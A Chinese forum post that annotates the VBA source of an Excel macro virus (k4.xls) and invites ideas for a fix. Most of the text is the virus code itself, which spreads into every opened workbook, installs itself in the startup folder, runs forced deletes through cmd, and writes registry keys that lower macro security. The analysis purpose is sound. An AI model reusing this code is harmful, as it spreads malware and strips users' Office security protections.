一段宏病毒代码分析，一起想合理解决方案
'*****************************************************************'本段代码在Excel打开时候就会运行代码 两个子过程都会运行'*****************************************************************Public WithEvents xx As ApplicationPrivate Sub Workbook_open() '打开excel即执行文件Set xx = ApplicationOn Error Resume NextApplication.DisplayAlerts = FalseCall do_what '调用do_what方法End SubPrivate Sub xx_workbookOpen(ByVal wb As Workbook) '定义wb为workbook类型On Error Resume Nextwb.VBProject.References.AddFromGuid _GUID:="{0002E157-0000-0000-C000-000000000046}", _ 'AddFromGuid 方法可搜寻注册表 来找寻要添加的引用。GUID 可以是类型库、控件、类标识符等。Major:=5, Minor:=3Application.ScreenUpdating = FalseApplication.DisplayAlerts = Falsecopystart wb '此处copystart为 ToDOLE模块定义的函数Application.ScreenUpdating = TrueEnd Sub'*******************************************************************************************Private Sub auto_open()Application.DisplayAlerts = FalseIf ThisWorkbook.Path <> Application.StartupPath Then Application.ScreenUpdating = False Call delete_this_wk Call copytoworkbook If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook ThisWorkbook.Save Application.ScreenUpdating = TrueEnd IfEnd Sub'病毒的感染部分代码Private Sub copytoworkbook() Const DQUOTE = """" With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, "Public WithEvents xx As Application".InsertLines 2, "Private Sub Workbook_open()".InsertLines 3, "Set xx = Application".InsertLines 4, "On Error Resume Next".InsertLines 5, "Application.DisplayAlerts = False".InsertLines 6, "Call do_what".InsertLines 7, "End Sub".InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)".InsertLines 9, "On Error Resume Next".InsertLines 10, "wb.VBProject.References.AddFromGuid _".InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _".InsertLines 12, "Major:=5, Minor:=3".InsertLines 13, "Application.ScreenUpdating = False".InsertLines 14, "Application.DisplayAlerts = False".InsertLines 15, "copystart wb".InsertLines 16, "Application.ScreenUpdating = True".InsertLines 17, "End Sub"End WithEnd SubPrivate Sub delete_this_wk()Dim VBProj As VBIDE.VBProjectDim VBComp As VBIDE.VBComponentDim CodeMod As VBIDE.CodeModuleSet VBProj = ThisWorkbook.VBProjectSet VBComp = VBProj.VBComponents("ThisWorkbook")Set CodeMod = VBComp.CodeModuleWith CodeMod .DeleteLines 1, .CountOfLinesEnd WithEnd SubFunction do_what()If ThisWorkbook.Path <> Application.StartupPath Then RestoreAfterOpen '调用RestoreAfterOpen函数 Call OpenDoor '调用OpenDoor Call Microsofthobby '调用Microsofthobby Call ActionJudge '调用ActionJudgeEnd IfEnd FunctionFunction copystart(ByVal wb As Workbook)On Error Resume NextDim VBProj1 As VBIDE.VBProjectDim VBProj2 As VBIDE.VBProjectSet VBProj1 = Workbooks("k4.xls").VBProjectSet VBProj2 = wb.VBProjectIf copymodule("ToDole", VBProj1, VBProj2, False) Then Exit FunctionEnd Function'自我感染模块Function copymodule(ModuleName As String, _ FromVBProject As VBIDE.VBProject, _ ToVBProject As VBIDE.VBProject, _ OverwriteExisting As Boolean) As Boolean On Error Resume Next Dim VBComp As VBIDE.VBComponent Dim FName As String Dim CompName As String Dim S As String Dim SlashPos As Long Dim ExtPos As Long Dim TempVBComp As VBIDE.VBComponent If FromVBProject Is Nothing Then copymodule = False Exit Function End If If Trim(ModuleName) = vbNullString Then copymodule = False Exit Function End If If ToVBProject Is Nothing Then copymodule = False Exit Function End If If FromVBProject.Protection = vbext_pp_locked Then copymodule = False Exit Function End If If ToVBProject.Protection = vbext_pp_locked Then copymodule = False Exit Function End If On Error Resume Next Set VBComp = FromVBProject.VBComponents(ModuleName) If Err.Number <> 0 Then copymodule = False Exit Function End If FName = Environ("Temp") & "\" & ModuleName & ".bas" If OverwriteExisting = True Then If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then Err.Clear Kill FName If Err.Number <> 0 Then copymodule = False Exit Function End If End If With ToVBProject.VBComponents .Remove .Item(ModuleName) End With Else Err.Clear Set VBComp = ToVBProject.VBComponents(ModuleName) If Err.Number <> 0 Then If Err.Number = 9 Then Else copymodule = False Exit Function End If End If End If FromVBProject.VBComponents(ModuleName).Export FileName:=FName SlashPos = InStrRev(FName, "\") ExtPos = InStrRev(FName, ".") CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1) Set VBComp = Nothing Set VBComp = ToVBProject.VBComponents(CompName) If VBComp Is Nothing Then ToVBProject.VBComponents.Import FileName:=FName Else If VBComp.Type = vbext_ct_Document Then Set TempVBComp = ToVBProject.VBComponents.Import(FName) With VBComp.CodeModule .DeleteLines 1, .CountOfLines S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines) .InsertLines 1, S End With On Error GoTo 0 ToVBProject.VBComponents.Remove TempVBComp End If End If Kill FName copymodule = TrueEnd Function'**********************************************************************************************************************'Microsofthobby() 函数分析'查找系统启动路径内是否存在k4.xls文件，如果存在就删除该文件，这个保持病毒的持续更新'这个k4.xls文件如果太大的话，下次启动程序就会很慢'**********************************************************************************************************************Function Microsofthobby()Dim myfile0 As StringDim MyFile As StringOn Error Resume Nextmyfile0 = ThisWorkbook.FullName '查看当前工作表的全称MyFile = Application.StartupPath & "\k4.xls" 'Offfice启动路径的\k4.xls文件If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False '如果打开了文件k4.xls同时本文件不在启动文件中，关闭k4.xls文件'Shell函数：执行一个命令'Environ函数：返回 String，它关联于一个操作系统环境变量。 在 Macintosh 中不可用Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '最小化运行程序 同时返回指针 删除k4.xls的系统和隐藏属性Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '最小化运行程序 同时返回指针 删除k4.xls文件Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '最小化运行程序 同时返回指针 删除k4.xls目录及目录树下的子文件（夹）If ThisWorkbook.Path <> Application.StartupPath Then Application.ScreenUpdating = False '关闭屏幕更新 加速程序的运行 ThisWorkbook.IsAddin = True '如果工作簿打开后进行了更改，不会提示保存工作簿。工作簿窗口不可见。宏”对话框（通过指向“工具”菜单上的“宏”，然后单击“宏”即可显示）中，工作簿中的所有宏都不可见。 '即使不可见，还是可以从“宏”对话框运行工作簿中的宏。 此外，宏名称不需要使用工作簿名称进行限定。打开工作簿时按住 Shift 键不会产生任何效果。 ThisWorkbook.SaveCopyAs MyFile '将工作簿的副本保存到文件中，但不修改内存中打开的工作簿 ThisWorkbook.IsAddin = False '修改回原来的属性 Application.ScreenUpdating = True '启动屏幕更新End IfEnd Function'******************************************************************************************************'OpenDoor 函数分析'该函数查看了程序的版本，同时创建了一个scripting.filesystemobject对象，可能进行磁盘操作'同时查看了当前版本的Office程序的版本号，进行注册表的操作'关键性的东西在WReg函数里边，具体信息查看下边的Wreg函数的注释'*******************************************************************************************************Function OpenDoor()Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As StringDim KValue1 As Variant, KValue2 As VariantDim VS As StringOn Error Resume NextVS = Application.Version '查找程序的版本Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") '创建并返回一个对 ActiveX 对象的引用，此对象为scripting.filesystemobject，作者很有意思，通过不规则的大小写来迷惑这个对象'scripting.filesystemobject介绍：'在代码内操作文本文件、文件夹及驱动器。它是脚本运行期库提供的对象之一，对于服务器ASP页面内的VBScript和JScript都有效RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"KValue1 = 1KValue2 = 1 Call WReg(RK1, KValue1, "REG_DWORD") '使用Wreg函数准备操作注册表 Call WReg(RK2, KValue2, "REG_DWORD") Call WReg(RK3, KValue1, "REG_DWORD") Call WReg(RK4, KValue2, "REG_DWORD")End Function'******************************************************************************************************'WReg 函数分析'修改注册表特定的键和值'*******************************************************************************************************Sub WReg(strkey As String, Value As Variant, ValueType As String) Dim oWshell Set oWshell = CreateObject("WScript.Shell") '创建WScript.Shell对象，准备对注册表进行进行操作 If ValueType = "" Then '如果ValueType为空，则仅写入键和值 oWshell.RegWrite strkey, Value Else oWshell.RegWrite strkey, Value, ValueType End If Set oWshell = Nothing '释放引用End Sub